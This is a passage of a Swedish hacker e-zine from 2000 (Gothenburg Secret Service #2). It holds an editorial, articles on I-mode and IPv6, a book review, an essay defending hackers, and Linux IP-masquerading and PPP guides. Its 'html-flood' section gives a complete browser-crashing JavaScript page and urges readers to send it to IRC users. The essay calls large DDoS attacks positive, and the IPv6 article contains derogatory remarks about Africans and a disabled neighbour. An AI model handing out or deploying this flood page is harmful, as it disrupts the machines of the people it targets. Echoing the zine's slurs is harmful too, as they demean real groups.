                                                                
            ,$$$$$$$$$.      ....' `e.       ....' `e.  
           ,$'       `$ $  ,e' ,eeeee. `$. ,e' ,eeeee. `$.
           .$' ,eeeee. `$$ $',$$$$$$$$$. $  $',$$$$$$$$$. $         
           $',$$$$$$$$$.`$ $ $$$'   `$$$ $  $ $$$'   `$$$ $
          .$,$$$',. `$$$. $$ $$$ $$$.`$$ $  $ $$$ $$$.`$$ $
           ,$$$',$$$.`$$$' $ $$$ $$$.`$$ $  $ $$$ $$$.`$$ $
         .$ $$$ $' `$ $$$ $' $$$.`$`$.`$ '  $ $$$.`$`$.`$ '
          $ $$$ $. ,$ `$$ $ $ $$$.`$`$.`$ '  $ $$$.`$`$.`$ ' 
          $ $$$ $$$$  `$ $'$.`$$$.`$`$.` $  $.`$$$.`$`$.` $ 
          $ $$$ $',ee. ` $'`$.`$$$.`$ `$$'  `$.`$$$.`$ `$$'
          $ $$$ ',$$$$$$. $'  $.`$$$.`$  $'   `$.`$$$.`$  $'
          , $$$  $$$  $$$  $'  `$.`$$$.`$ $'   `$.`$$$.`$ $'  
          $ $$$  $$$  $$$  $'  .`$.`$$$.`$$'   .`$.`$$$.`$$'  
          $ $$$  `$$  $$$  $',$$`$.`$$$.`$' ,$$`$.`$$$.`$' 
          $ $$$ $ `$  $$$  $ $ .`$`$.`$$$.`  $ .`$`$.`$$$.`    
           $$$$ `$.`  $$$  $ $ $.`$`$.`$$$ $ $ $.`$`$.`$$$ $ 
           .`$$$. ` ,e$$ $' $  $$.`ee$ $$$ . $ $$.`ee$ $$$ .   
           $.`$$$$$$$$$';  $ $$$.`' ,$$$ $ $ $$$.`' ,$$$ $   
           $.$$$$$$$$$$$'   $.`$$$$$$$$$' $ $.`$$$$$$$$$' $ 
            $.  `    $`$. `' ,$' `$. `' ,$'     
            `$$eeeeeee$$ .`$$eeeeeee$$'  .`$$eeeeeee$$' .   
                     
          G O T H E N B U R G   S E C R E T   S E R V I C E    
   
                                   #2                                



                          Nr. 002  2000-09-15 
  ////////////////////////////////\/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\       
  / 1. Ledare......................................Gotrex Gurnisson\
  / 2. I-mode......................................Gotrex Gurnisson\
  / 3. Pr0n nummer.................................Gotrex Gurnisson\
  / 4. Introduktion till IPv6...............................hedback\
  / 5. Bok reccension: Hacking Exposed.............Gotrex Gurnisson\
  / 6. Uppsats: Vi hackare r inte olagliga........Gotrex Gurnisson\
  / 7. Enkel html-flood.....................................Blazter\
  / 8. IP-Masquerading under linux..........................hedback\
  / 9. PPP i linux..........................................hedback\
  /10. Internet Pirater, eller?.............................hedback\
  /11. 2600seGBG...................................Gotrex Gurnisson\
  /12. Faserna i ett IT-anfall..............................Zynta^x\
  /13. Datorsystemets Penetreringsniver....................Zynta^x\
  /14. Bra metoder fr att frhinda dataintrng.............Zynta^x\
  /15. Svenska h/p zines A till ..................Gotrex Gurnisson\
  /16. Intervju med pewp ang. S&S artikeln.........Gotrex Gurnisson\
  / + lnkar                                                       \
  ////////////////////////////////\/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
  |                         Disclaimer                             |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
                          
   All  information  i  den  hr  tidningen  r  enbart  teoretisk,
   den  har  aldrig  utfrts  p  ngot  stt  och  srkillt  aldrig
   s  att  den  bryter  mot  lagen.   Skribenter  i  tidningen  kan 
   inte  st  fr  svars  fr  vad  som  har  skrivits.  Det  r  DU
   och  enbart  DU  som  str  fr  svars  fr  dina  handlingar.

  ////////////////////////////////\/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
  | 1.                       Ledare                         Gotrex |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  Vlkomna till nummer tv av GSS. Efter vrt frsta nummer fick vi
  bde bra och dlig  kritik, som vntat.  Och det r bra s att vi
  kan anpassa oss. Vi har haft 733 stycken beskare och  det kanske
  skall ppekas och frhoppningsvis s  har majoriteten  lst zinet
  ocks :P ven s hade  TheClown  tagit sig tid och  lagt upp  oss
  p  ThisGeneration.  Nu finns tyvrr inte  TG mer  men nd.. Dr
  fick  vi  iallafall  en hel  del  lsare. GSS  har  lagt  upp  en 
  zines sektion p  http://members.xoom.com/_XMCM/msadf/zines/  men
  tyvrr  har  jag  bara  begrnsat  med  utrymme  s  jag  fyllde 
  det  lilla  vi  hade ganska snabbt. Om  nn  har  en  webserver
  dr vi  kan  ha  vran  sida  s  kontakta mig.
 
  Nu har det bestmts att  man fr stta upp kameror i sprvagnarna
  i Gteborg (10st i varje vagn!) och VPS (Virtuell Parking System)
  som testas  i Stockholm  och skall ven  testas i  Gteborg..  Vi 
  vntar med spnning infr framtiden.. sedan har jag hllt p  att
  tminstonde frska komma p telia refill koderna hur dom r upp-
  byggda etc Om nn har ngra eller vet nt intressant s hr grna
  av  er.  ven om  ni  vet nt  om  de  andra  lokala sakerna s..
  2600 feber i  Sverige  med lokala  mten  lite  varstans  ven  i
  Gteborg dr jag var. Ls 2600seGBG. 

  
  Gotrex Gurnisson

  Email:  Gotrex@antionline.org     
  VMB:    031 7943192   
  URL:    http://www.GothenburgSecretService.net

  

  //////////////////////////////////////////////////////////////////
  \                                                                \
  /             ...frresten, vad r ett ntverk?                  /  
  \             - Bill Gates, 1984                                 \
  /                                                                /
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
  



  //////////////////////////////////////////////////////////////////
  | 2.                       I-Mode                         Gotrex |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 

  I-Mode  r  Japans  svar p WAP  dvs interaktiva tjnster i  mobil
  telefonen. Det r fretaget NTT Docomo (Nippon Telegraph and Tele-
  phone Corporation) som redan har lyckats f 6 miljoner Japaner att
  ansluta  sig till I-mode.   NTT  Docomo startade  1991 och  I-mode 
  lanserades  1999.  Ordet Docomo betyder  "verallt"  p  japanska.
  I-mode som  betyder Interactive Mode,   har frmodligen  ftt sitt 
  namn  av 'I'  knappen  som  man ltt kommer  ut  p Internet  med. 
  I-modes funktioner r att  man kan kolla hur mycket pengar man har
  p  sitt  kredit  kort,  kpa och slja  aktier, bestlla  bcker, 
  skaffa frskring, restaurang  guide, recept, ordbok, tidtabeller,
  nyheter, vder och spel.  ven email p 250 st tecken  r mjligt. 
  Skillnaden mot WAP (ls  landers  text om  WAP) r att man  surfar
  p  en  frenklad  version av html  deras  CWML  (Compact Wireless 
  Markup Language). Internets html  istllet som  WAP ett  helt eget 
  (Internet). Man  betalar  fr hur mycket data  som  man tankar ner 
  eller rttare sagt tar emot.  I dags lget  r det 9,6kbps men max 
  hastigheten  r  2mbps. I-mode klarar ven  av  grafik och enklare 
  animationer. Som  dagens  WAP  inte  klarar  av  nnu.

  
   |_  <--> Docomo Packet Network   <--Internet-->       ISP
   | |      Imode Server            <--Leased circuit--> ISP
   |_|   
       <--> Voice Network           
 
    

  En liten detalj r att det 11 siffriga (Japanska nummer) telefon-
  nummrerna fungerar som email adress t.ex 0908382XXXX@docomo.ne.jp.

  Telefoner som stder I-mode:
  P501i HYPER
  Ericsson ER207
  Nokia NM502i


 
  //////////////////////////////////////////////////////////////////
  \                                                                \
  /         "Det finns ingen vg till lyckan, vgen r lyckan."    /
  \         - Buddha                                               \
  /                                                                /
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 


  
  //////////////////////////////////////////////////////////////////
  | 3.                       pr0n nummer                    Gotrex |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  OBS! ALLA DESSA NUMMER KOSTAR TYP 19,95KR PER MINUT RING INTE FRN
  EGET ABBONEMANG OBS!

  
  071757575
  071215263
  071696969
  071666999 
  071612054
  071610012
  071610013
  071612059
  071612047
  071612051
  071612046
  071612047
  071612048
  071612049
  071215263 
  072411111
  072787878
  0727854445
  086670742 
  087480118 
  0850302000 \
  0850308000  )- Klassiska Heta Linjen
  0850301900 /
  0406808083
  0406406699
  0406406699
  0406406601 
  0406406602 
  0406406603 
  0406406604 
  0406406605 
  0406406606 
  0406406607 
  0406406608 
  0406406609 
  0406406610 
  0406808081
  0406807865
  0406807866
  0406807879
  00916644105177 
  0096836479
  0096838399 
  0096836378
  09441060000
  09441166664
  09441166662


  OBS! ALLA DESSA NUMMER KOSTAR TYP 19,95KR PER MINUT RING INTE FRN
  EGET ABBONEMANG OBS!

  //////////////////////////////////////////////////////////////////
  \       We can manipulate you however we want.                   \
  /       We can read and change your Personal datas.              /
  \       We can take your identity.                               \
  /       Kill your existance.                                     /
  \       We can come near to you from everywhere in the world.    \
  /       You cant escape!                                        /
  \       - UHA                                                    \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\                                                                     


  //////////////////////////////////////////////////////////////////
  | 4.              Introduktion till IPv6                  hedback|
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  Man tror att dom tillgngliga  ip-adresserna i vrlden kommer att 
  ta slut ca r 2005...  och nr ip-adresserna tar  slut s betyder 
  det  helt enkelt att  det inte gr att ansluta ngot, som behver 
  en ip, till internet.  Eftersom  vra  ldre  brder  r  s pass 
  smarta,  s har man sedan slutet p 1991 brjat utveckla ett nytt 
  stt  som ska klara av att  skapa mer ip-adresser  i ett ntverk. 
  Denna nya standard ska d kunna klara av att dela ut 3,40 x 10^38 
  adresser.  Detta  r  betydligt  mer  n  dagens  IPv4,  som  man 
  uppskattar ska klara av att dela ut ca 4 x 10^12 adresser.

  Varfr nu detta?  Rcker inte fyra miljarder ip-adresser till nr
  vi r frre mnniskor n s p jorden?
  Nej, det gr inte det.  Man kan ju frvisso  bortse  frn alla U-
  lnder,  fr jag kan inte tnka mig att  mnniskor som  inte  har 
  mat fr  dagen sitter med en dator,  eller?  Vidare kan man rkna 
  bort alla  infdingar i Afrika,  folk ver 120(?), och min  mongo 
  granne i trapphuset brevid.  Iaf,  detta beror p att utdelningen
  av  dessa  ip-adresser  inte fungerar n  vidare. Det hnder (och 
  ftter) att  stora  fretag  som behver max 1000 ip-adresser fr
  nrmare 30 000,  beroende  vilket  sorts nt dom  anvnder. D r
  det en 29 000  adresser som inte anvndes,  men blir  oanvndbara
  nd.  Det nya systemet,  IPv6, gr s att man inte behver spara
  p adresserna...  Inte fr att  dom sparar p dom  nu,  men nd.
  Det nya med  IPv6 [Ed.'s note: eller IPng, ng fr Next Generation]
  r inte  enbart att man fr hur  jvla mnga miljarder ip-adresser
  som helst,  utan man har ven lagt till nya saker ssom  skerhets
  funktioner och  prioritetsfunktioner. Dessa  tv nya  funktioner  
  tnker jag inte  g in mer p  i denna enkla introduktions txt. 

  Det finns  tre olika stt att skriva adresserna  som txtstrngar. 
  Det frsta sttet r  att skriva ut hela adressen  i hexadecimala
  vrden, vilket  inte r ntt  strre problem.  (enkelt att  komma 
  ihg ox). 
  Ex: XXXX:1X1X:111X:111:XXXX:11:1111:1X11

  Andra sttet r komprimerad och inga nollvrden tas med.
  Ex: XX11::111X:11 (dubbla kolon  betyder att allt mellan dessa r
  nollor).

  Tredje sttet r ifall man mste ha med en IPv4 adress.
  Ex:1:1:1:1:1:1:199.161.122.165

  IPv6 ligger  n s  lnge p ett  frsksstadium, och om man vill 
  testa kan man smurfa till url'en www.6bone.net som r ett ntverk 
  ppet fr dom som vill testa den nya standarden. Finns lite annat 
  dr  ox,  som rr IPv6...   t  ex  vilka  lnder  som r  med och 
  utvecklar mm.  Har du linux,  som alla elite ppl har,  s r  det 
  bara att fixa en IPv6 adress. Men om du r trogen Windows user s 
  fr du vnta en stund tills  Micro$oft  slpper dom tillggen som 
  du behver fr att kunna nyttja IPv6.  Till NT s vet jag att dom 
  hller p och utvecklar...  Men har ingen aning om det ox kommer 
  att finnas till vanliga och trkiga Win9.X.

  Nsta steg efter 128 blir vll 256 bits ip-adresser osv.
  Jaja, den som lever fr se brukar man ju sga... 

       Texten presenteras i samarbete med Team DreamVizion.

  //////////////////////////////////////////////////////////////////
  \            "If I have seen further, it is because              \
  /            I have been standing on the shoulders               /
  \            of  giants"                                         \
  /            - Isaac Newton                                      /
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 



  //////////////////////////////////////////////////////////////////
  | 5.            H a c k i n g  E x p o s e d              Gotrex |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\         

  Mycket  bra  bok  som  beskriver  hur  man  gr  till   vga  nr 
  man  lr  sig  om  olika  operativ  system  och  hur  man  undgr
  skerheten  och  givetivis  hackar.  ven  en  del  telefon trixs
  finns  med  som  war  dialing  m.m  Boken  r  indelad  i   olika
  kapitel  och  sedan  str  det steg  fr  steg  hur man  skall g
  tillvga.  De  olika  kapitlerna  r:
  
  I Cashing  the  establishment:  Footprinting, Scanning, Enumeration

  II System  Hacking:  Hacking  Win95/98,  Hacking  Win  NT, Novell
  Netware  Hacking,  Unix

  III Network  Hacking:  Dial-up and  VPN  hacking,  Network Devices, 
  Firewalls, Denial  of  Service  Attacks

  IV Software  Hacking:  Remote  Control  Insecurities,  Advanced
  Techniques,  Web  hacking 

  Minus  fr  att  hemsidans  lnkar  inte  r  uppdaterade.  Tycker
  att det  borde  fjlt  med  en  CD-ROM  med  alla  programmen. Och
  jag  tycker  ocks  att  det  r  lite  vl  mycket  genomgng  av
  olika  "kokboks program"  dvs  program  som  gr  allt  t  en. 
  Sammanfattningsvis  s  r  det  faktiskt  en  bra  bok  som  bde
  nybrjaren  och  den  mest  erfarne  kan  lsa.

  Hacking  Exposed  av  George Kurtz,  Stuart McClure  och Joel  
  Scambray  finns  att  kpa  p  www.bokus.se  eller  www.amazon.com
  Kostar  runt  400-500kr.                                                                     
  Betyg: MVG-
  http://www.hackingexposed.com


  //////////////////////////////////////////////////////////////////
  /         Make my word a crime, I will cry out louder            \
  \         Silence my voice, I will find another                  /
  /         Make my voice a crime, I will create a new one         \
  \         Hunt me down, I will find a new place to hide          /
  /         Lock me away, Ten will rise to take my place           \
  \         You cannot silence me, You cannot stop me, I and my    /
  /         kind are forever                                       \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 

   
 
  //////////////////////////////////////////////////////////////////
  | 6.            Uppsats: Vi hackare r inte olagliga      Gotrex |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\   
  
  P  senaste tiden har  "hackers" och enligt  min  mening  frfulat
  "hackare"  ftt  skulden fr i  olika medier fr att  vara brotts-
  lingar  och  ligister. Detta  r  den allmnna  uppfattningen  som
  man  kommer  fram  till nr  man  hr  och  lser om  "hackare"  i
  tidningar. Dessa  relativt oknda  individer beskrivs vara ligister
  som frstr bankomater, telefon boxar  och manipulerar hemsidor och
  dessa "hackers" jmfrs  med andra brottslingar. Ofta hamnar sdana
  incidenter  p lpsedlarna  med stor tyngd  p att det skulle varit
  en dator "hackare" i  farten igen.
  ven i personer  som t.ex.  hackat  sig in  hos  NASA  dmts  till
  dagsbter. I  Sverige  finns det en  lag p max straff  p tv  r
  men  n s lnge  har inte  fngelsestraff delats ut fr  den  hr
  typen  av brott. I USA dremot  s  r  straffen  dremot betydligt
  strngare, upp till 60 r.  Kan det vara s att ni missbedmt dessa
  personer  ni inte  vet ngonting om?  Jag  anser bestmt att s  r 
  fallet.  Massmedia  frmedlar  en  av  bild  "hackare"  som   inte
  stmmer  verens med  sanningen.  En "hackares"  ml r  inte  att 
  frstra, om  vi  tittar  p  en  hackares  s.k.  budord,  regler:
  "informationen   skall  vara  fri"  dvs. totalt  obegrnsad.  Med 
  detta  menas  att  alla   har  rtt  att bruka  datorer  och   att
  informationen  skall  vara helt fri.  Information  kan  vara  t.ex.
  innehllet  p   Internet.  Ocks  program  skall vara  fritt till-
  gngligt  fr  alla.  Det  r   drfr  vi  ser   en  uppt gende 
  trend   av  "freeware",  program   som  r  helt   kostnad   fria
  och  "open source"  dvs.  kllkoden r  tillgnglig  fr  alla.  En
  "hackare"  bedmer inte  andra utifrn lder, ras eller position  i 
  samhllet  utan istllet beroende p hur duktigt  han eller hon r.
  Ingenting eller ngon skall komma  till skada nr hackare  anvnder 
  sina  kunskaper.  Detta  r inte en  galen  brottsling  som  fljer
  sdana  hr  dla lagar.  Nej  detta r  enligt  myten  en  duktig 
  tonring  vars  frmga att   hantera verstiger  de   flesta.  Om
  sanningen  skall  fram  s  finns  det  "hackare"  i  alla  ldrar,
  lnder,  samhllsklasser och arbeten.  Vadd kanske ni  tnker, han
  som  frstr  mste  vl  i  vilket  fall  st  till  frvars?  Ja  
  personer  som frstr  saker skall dmas  drefter  men   skulden 
  skall  inte ligga  p data hackers  vara sig  det har  med  teknik
  eller  ngot  annat  att  gra.  De  som  frstr  r  ligister, 
  sabotrer,  fifflare eller  terrorister beroende p vad brottet r.
  Nu ver till de riktiga  "hackarna" som  tar sig  in i  datasystem
  och  ndrar  en  fil och  skriver  ut ett  lustigt  meddelande  p 
  skrivarna, tjuvkikar  och  samtidigt  pvisar den  bristande sker-
  heten. r dessa  brottslingar som  begr olagliga handlingar? I min 
  mening  r  de snarare vlgrare  mer n tjuvar.   P mnga fretag
  finns   inte  ngon  skerhet  och  p  stllen dr  den borde vara 
  superb r den  endast minimal. Ta istllet och  anstll ngon  som
  verkligen  kan  ngot  t.ex.  tidigare  hackare. Mnga  av   dessa
  tidigare  kallade  brottslingar  fr i brjan betala bter och/eller
  skadestnd. Efter detta s belnas de  med vl betalda IT jobb.
  Tre konkreta exempel som r vrda att nmnas r  Jon Johansen, den 
  dvarande sextonriga norrmannen som  "knckte" DVD-skyddet  vilket
  hindrar en  frn  att  kopiera  filmerna  (skivorna) har  ftt jobb
  p spel  utvecklings  fretaget  WAP factory.  Den  nstan  legend 
  frklarade Kevin  Mitnick  som suttit fem r i  fngelse  har  ftt
  erbjudande att  bli  skerhets  rdgivare t  senaten och  de  tv 
  svenskar  som  anklagas fr att  ha brutit sin in  hos  NASA,   hr 
  och hpna,  fick  jobb   erbjudande  innan  ens   rttegngen  hade
  brjat.  r dessa personer  vra vrsta  fiender som vi s  snllt
  p detta  rimliga  stt behandlar.  Vi br  istllet vrna  om vra 
  unga, duktiga  hackare som ser till att  skerheten  kar och att 
  skerheten tas p allvar. 
  Tv  vldigt viktiga  aspekter i brjan  av 2000-talet,  IT lderns 
  guld lder? Fr  ett r  sedan lite drygt s  snktes  de  strsta 
  hemsidorna  p  Internet bland  annat  CNN.com  och  yahoo.com  av 
  tskilliga s kallade "Denial Of Service".  Detta bevisar att om de 
  bsta  och strsta sidorna p  Internet kan  'stngas ner'  s  r 
  resten av Internet srbart ocks.  Jag tycker  detta  var  positivt
  snarare  n  negativt  eftersom  ven hr  fr  vi  upp gonen  fr
  att skerheten brister och priset fr  detta var endast att sidorna
  inte blev tillgngliga under en viss tid.  Nu i samband med att det 
  svenska bredbands ntet byggs ut kommer allt fler behva ta  sig en 
  funderare  om ni,  var och  en r  skra. r  Windows s skert som 
  Microsoft  ftt er att  tro? Skulle inte  tro det. r  hackare  din 
  vrsta  fiende  eller  din  bsta  vn?  Det  senare  r  mitt  och  
  frhoppningsvis  ert  blivande  intryck.




  //////////////////////////////////////////////////////////////////
  \                                                                \
  /              "If you build it we will hack"                    /
  \                                                                \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\



  //////////////////////////////////////////////////////////////////
  | 7.                   Enkel html-flood                   Blazter|
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
                            
  Jag  har  gjort  en liten HTML-flood,  den r jvligt simpel, men
  extremt effektiv och smidig.  Skicka  bara ver urlen  till  t ex
  nn  som  hller p och  floodar  p IRC och......borta!  Det tog
  mindre n en minut att lsa min  P2 400 MHz  med 128 mb ram!  Den
  skulle kunna gras effektivare, men det behvs inte... sen r det
  bra att om man r snabb kan killa browsern.... det klarar ju nd
  inte en  lamer.... och  anvnd  bara det hr tricket mot folk som
  tigger om det.
 

  /* -------------------- html-flood.html ----------------------- */
  <HTML>
  <HEAD>
  <TITLE>DIE!</TITLE>
  <SCRIPT LANGUAGE="JavaScript">
  total=0;
  function kill()
  {
  i=0; 
   while(i < 1)
   { 
   window.open("http://www.hotmale.com");
   } 
  }
  </SCRIPT>
  <script language="javascript">
  if (document.layers || document.all)
  {
  a=1;
  setInterval("Jump()",10);
  }
  function Jump()
  {
  a=a+.1;
  self.moveBy((Math.random()*a*200 -a),(Math.random()*a*200)-a);
  }
  </script>
  </HEAD>
  <BODY onload="kill()" BGCOLOR="000000" TEXT="00FF00">
  <h1>Congrationlations you will now have the honour to be killed 
  by Blazter of DreamVizion!<br>
  Moahahahahahahahaha! =P
  </BODY>
  </HTML>
  /* ------------------------ EOF ------------------------------- */ 


       Texten presenteras i samarbete med Team DreamVizion.
     
  //////////////////////////////////////////////////////////////////
  \                                                                \
  /          "Den som inte knner till vad som hnde innan         /
  \           han fddes frblir ett barn"                         \
  /          - Kiko (Romersk talare)                               /
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\



  //////////////////////////////////////////////////////////////////
  | 8.            IP-Masquerading under linux               hedback|
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  Denna text  kommer att ta upp vad IP-Masquerading,  eller som det 
  heter p svenska,  IP-Maskering r och hur  du konfigurerar  det. 
  Jag  kommer att anvnda mina instllningar, som fungerar fr mig, 
  som exempel.  Det r drfr inte skert att du lyckas f till det 
  p din burk  med samma  instllningar.  Grundkraven som denna txt 
  frutstter  att  du  uppfyller  r ett fungerande ntverk och en 
  linuxdator med Internetuppkoppling. 

  Det som IP-maskeringen gr  r att  om du har flera datorer i ett 
  ntverk, men endast en av dessa med  internetuppkoppling,  s kan 
  du  f alla datorer  att  dela p samma.  Vilket kan vara vldigt 
  praktiskt.

  N, hur funkar d detta? 
  Vi tar ett exempel.  Om du r ute och surfar, och s vill du till 
  http://www.av.com d s skickas  en signal  ifrn din dator  (via 
  linuxburken)  till den dator  som  du vill komma till.  Nr detta 
  paket passerar  linuxburken med  internetuppkopplingen s skriver 
  den om  brjan  p  paketet s att  www.av.com  tror  att paketet 
  kommer  direkt  ifrn linuxburken.  Sen  s  svarar servern,  och 
  huvudet  p  paketet  skrivs  om  igen av linux,  och skickar det 
  vidare  till den  datorn man sitter vid, som d tror att den fick 
  svaret direkt frn servern osv. Hnger du med?

  Hur konfigurerar man IP-maskeringen?
  Frst  s ska du titta efter ifall filen  /proc/net/ip_masquerade 
  finns.  Om den inte finns s mste  du kompilera om din krna med 
  std fr  detta.  Men  eftersom dom  flesta oftast  har  std fr 
  detta frn brjan s f det bli en annan txt.

  Ok. D fortstter vi. Frst s mste du sga t linux att den ska 
  skicka vidare paket vilket grs med kommandot:

  # echo "1" >/proc/sys/net/ipv4/ip_forward
 
  Sen  s ska du anvnda  ipchains fr att tala om  vilka ip-nummer 
  som  ska maskeras  och inte.  Jag anvnder  klass C  serien,  dvs 
  192.168.0.1 -> 192.168.255.254.  Jag anvnder fljande kommandon: 
  (Tnk p att du mste ha ipchains installerat...)

  #ipchains -P forward DENY
 
  Detta  gr  att  datorn inte skickar  ngonting  vidare som  inte 
  matchar andra regler.

  #ipchains -A forward -j MASQ -s 192.168.0.0/24 -d 0/0
 
  Detta  talar  om  fr  datorn  att  den  ska  maskera  allt  frn 
  192.168.0.0/24  till  alla  andra  destinationer.  192.168.0.0/24 
  talar om alla datorer med ett ip-nummer som brjar p 192.168.0.0
  med netmask 255.255.255.0
 
  D  r konfigurationen  p  linuxburken klar.  Nsta  steg r att 
  konfigurera  dom  andra  datorerna  i  ditt  ntverk  att anvnda 
  linuxburken  som  standard  gateway.  I  linux  s  grs det  med 
  kommandot: 

  # route add default gw  
 
  I Win s grs  det  via  Kontrollpanelen  ->  Ntverk  eller  ett 
  hgerklick  p  Ntverks  ikonen p  skrivbordet. Klicka fram dig 
  till  instllningarna  fr  TCP/IP och  lgg till  IP-nummret fr 
  standard gateway  under Gateway,  dvs linuxburkens ip-nummer. Sen 
  s  mste  du skriva  in  ip-adresserna till DNS'erna hos din isp 
  under  DNS-konfigurationen  (vanligtvis 10.0.0.1/2). Nu s r det 
  klart.  Starta  om  Windows  och  testa  att  smurfa.   Ngra  f  
  instllningar kan  behvas  gra med din weblsare & e-post progg 
  osv. Linuxburken behver du inte starta om.
  Good Luck!


        Texten presenteras i samarbete med Team DreamVizion.

  //////////////////////////////////////////////////////////////////
  \                                                                \
  /            "Security is a process, not a product."             /
  \            - Bruce Schneier                                    \
  /                                                                /
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\



  //////////////////////////////////////////////////////////////////
  | 9.                  PPP i linux                         hedback|
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
   
  Fr att  ansluta till internet  via modem s  anvnds protokollet 
  PPP i  linux.  Om din  isp  stder  PAP  (Password Authentication 
  Protocol)  vilket  nstan alla gr idag,  s r det inga problem.
  Om den dremot inte gr det s fr man  pilla lite mer innan allt
  funkar som det ska. 
 
  Frst s mste du ansluta och starta modemet om inte det redan r 
  gjort. Nr det r gjort s mste du tala om fr  linux vilken com
  port som modemet r  kopplad till.  Det gr du genom att skapa en
  symbolisk  lnk  /dev/modem  till den  fil i  /dev som  motsvarar 
  porten modemet r ansluten till.
 
  DOS namn:                linux namn:                (ldre krna)
  COM1                     /dev/ttyS0                  /dev/cua0   
  COM2                     /dev/ttyS1                  /dev/cua1
  COM3                     /dev/ttyS2                  /dev/cua2
  COM4                     /dev/ttyS3                  /dev/cua3

  Om ditt modem sitter som mitt p COM1 skriver du:

  # cd /dev
  # ln -s ttyS1 modem
 
  - Med PAP -
  Starta linuxconf och vlj Config -> Networking -> Client tasks ->
  PPP/SLIP/PLIP.  Vlj sedan Add.  Markera PPP och tryck Accept. D
  skickas du vidare  till nsta skrm dr du ska ange anvndarnamn,
  lsenord, telefonnumret till  modempolen,  modemporten och att du 
  vill anvnda PAP. Tryck Accept.
 
  Nu  tillbaka   till  linuxconf  dr  du  ska  vlja  "Name server 
  specification  (DNS)"  fr  att ange dina DNS servrar. Vanligtvis
  s har dom IP-adresserna 10.0.0.1 och 10.0.0.2. Men du kan alltid
  frga din isp om detta.

  DNS
  Algonet Primr: 	  194.213.74.1
  Algonet Sekundr:	  194.213.64.33
  LibertySurf Primr      212.139.0.3
  LibertySurf Sekundr    212.139.0.2
  NetLink Primr:		  212.242.40.3
  NetLink Sekundr:	  212.242.40.51
  SBBS2 Primr:		  212.112.0.10
  SBBS2 Sekundr:		  212.112.0.11
  Tele2/SwIPNet Primr:	  192.71.220.10
  Tele2/SwIPNet Sekundr: 130.244.127.161
  Telenordia Primr:	  194.213.72.4
  Telenordia Sekundr:	  194.213.72.11
  Telia Primr:		  131.115.15.7
  Telia Sekundr:		  131.115.115.50
  Utfors Primr:		  130.239.8.10
  Utfors Sekundr:	  195.58.103.18

  Sunet har en bra DNS som du kan anvnda i annat fall:

  Sunet Primr:		192.36.125.2
  Sunet Sekundr:		192.36.144.17

  (tack till ecco@lugu.org fr DNS listan)

  Nu s  kan  du prova om det fungerar  med  programmet  ifup  via
  promten.  Om  din  frbindelse  heter  PPP0  skriver du:

  # ifup ppp0
 
  Modemet ringer nu upp och frsker  ansluta.  Nr modemet tystnat 
  och lamporna lugnat ner sig s kan du prova  att  pinga/surfa och
  kolla s att det funkar. Fr att koppla ner skriver du:

  # ifdown ppp0
 
  Man kan behva att koppla upp/ner ngra gnger innan det fungerar
  riktigt.
 
  - Utan PAP -
  Om din isp inte stder PAP s mste man ta reda p vilka strngar
  som anvnds  vid inloggning.  Det  grs  enklast  med  programmet 
  minicom.

  # minicom
 
  Ctrl + A och  sedan Z  poppar upp en meny ver  olika  kommandon. 
  Vlj D fr att komma in i  "Dialing Directory" och lgg till tel.
  nummret  till  din isp.  Nr du r klar, vlj  "Dial".  Nr du r 
  uppkopplad  s kan det  hnda  tv olika  saker.  Du  fr  upp en 
  inloggningspromt eller  s  kr  PPP  igng.  Om PPP kr igng s 
  stder isp'n PAP och inge  mer med det.  Om du fr en loginprompt 
  s  loggar  du in och  noterar hur servern frgar efter loginnamn 
  och lsenord.  Nr  du  loggat  in och kommer  till en prompt, s 
  testa att starta PPP p servern genom att skriva:
 
  > ppp
 
  PPP-frbindelsen avslutas med  "++++"  och du kopplar ner dig med 
  Ctrl + A och X
 
